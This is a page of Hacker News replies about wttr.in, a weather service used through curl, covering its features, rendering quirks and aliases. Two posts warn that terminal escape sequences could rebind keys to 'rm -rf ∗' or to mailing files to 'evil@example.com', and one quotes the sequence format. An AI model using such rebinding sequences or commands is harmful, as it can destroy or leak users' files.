Live data from Hacker News

Curl Wttr.in

github.com

51–60 of 128 posts

Re: Curl Wttr.in

#51
post #42

Earlier quoted context omitted.

Their github page explains this early in project page, so no harm done, I guess?

Oops, don't know how I missed that. Sorry!

To say truth, it is not just a wego as a service since many years, but is started like that indeed

Now it has a lot of additional features:

* one-line output for status lines

* astronomical information

* translation to 70+ languages

* geolocation

* full fledged multilingual location search

* HTML frontend

* PNG frontend

* Slack support

* scalable architecture (it handles 10M+ queries daily for the moment of writing, with avg processing time under 30 msec)

It took one weak for the initial wego-as-a-service wrapper implementation, and more than 4 years (and 99 contributors) for the rest.

But we of course honor wego, and mention it in the README, and on each HTML page in browser

Re: Curl Wttr.in

#52
post #50

Looks like lightning breaks the formatting a little, at least for me. Otherwise, very cool. Guessing lighting is a unicode char & not being counted "correctly", which I believe is a challenging thing

The problem is that it depends on the terminal, and you can render this character properly for all 100% of the terminals on the server side

Re: Curl Wttr.in

#54
post #46
post #40

This scared me the first time I tried it because the output was perfectly sized to my terminal. I couldn't fathom how it was possible for the server to know my terminal width. It turns out my terminal was set at 125 characters wide and wttr.in outputs a 125 character width display.

Curious - wouldn't it be possible to output terminal escape characters to perform some "magic" like moving at the end of the line? Or does curl protect users by not outputting them? (I think not, because fetching a binary file by mistake sometimes garbles the output)

It is possible, but it brings nothing, because you don't only need to move to the end of the line but print something in between, and for that the server mush know the width of your terminal

Re: Curl Wttr.in

#56
post #48

I will take this opportunity to offer some caution: From what I understand, “curl example.com” is almost exactly as risky as “curl example.com | bash”, since curl does not escape terminal command sequences, and those can include key rebindings; e.g. your Enter key can be rebound to “rm -rf ∗” or “sendfile ∗ evil@example.com”.

> those can include key rebindings; e.g. your Enter key can be rebound to “rm -rf ∗” or “sendfile ∗ evil@example.com”.

oh my god. From http://www.termsys.demon.co.uk/vtansi.htm :

> Set Key Definition [{key};"{string}"p

> Associates a string of text to a keyboard key. {key} indicates the key by its ASCII value in decimal.

But I can't reproduce it; in my terminal (gnome-terminal), `print('\x1b[97;"echo foo"p')` just shows `cho foo"p`.

So it looks like not all terminals implement it, if any?

Re: Curl Wttr.in

#58
post #48

I will take this opportunity to offer some caution: From what I understand, “curl example.com” is almost exactly as risky as “curl example.com | bash”, since curl does not escape terminal command sequences, and those can include key rebindings; e.g. your Enter key can be rebound to “rm -rf ∗” or “sendfile ∗ evil@example.com”.

Can you share some information about which terminal applications may be vulnerable to this?

Re: Curl Wttr.in

#59
post #22

Welcome to my alias list. This provides better weather information than local news websites who have dedicated pages. That said, I'm in a developing country where it's just monsoon all the damm time :D

Been using it for years here in Ireland. I have the following: alias wett='curl wttr.in/limerick'. :-)

Re: Curl Wttr.in

#60
Very cool, if i could suggest improvements it would be another view that shows some sort of line graph of temperature and rain and sunshine hours. Also thanks for the T option - useful if your terminal has a white background( like Apple's default).
Post reply on HN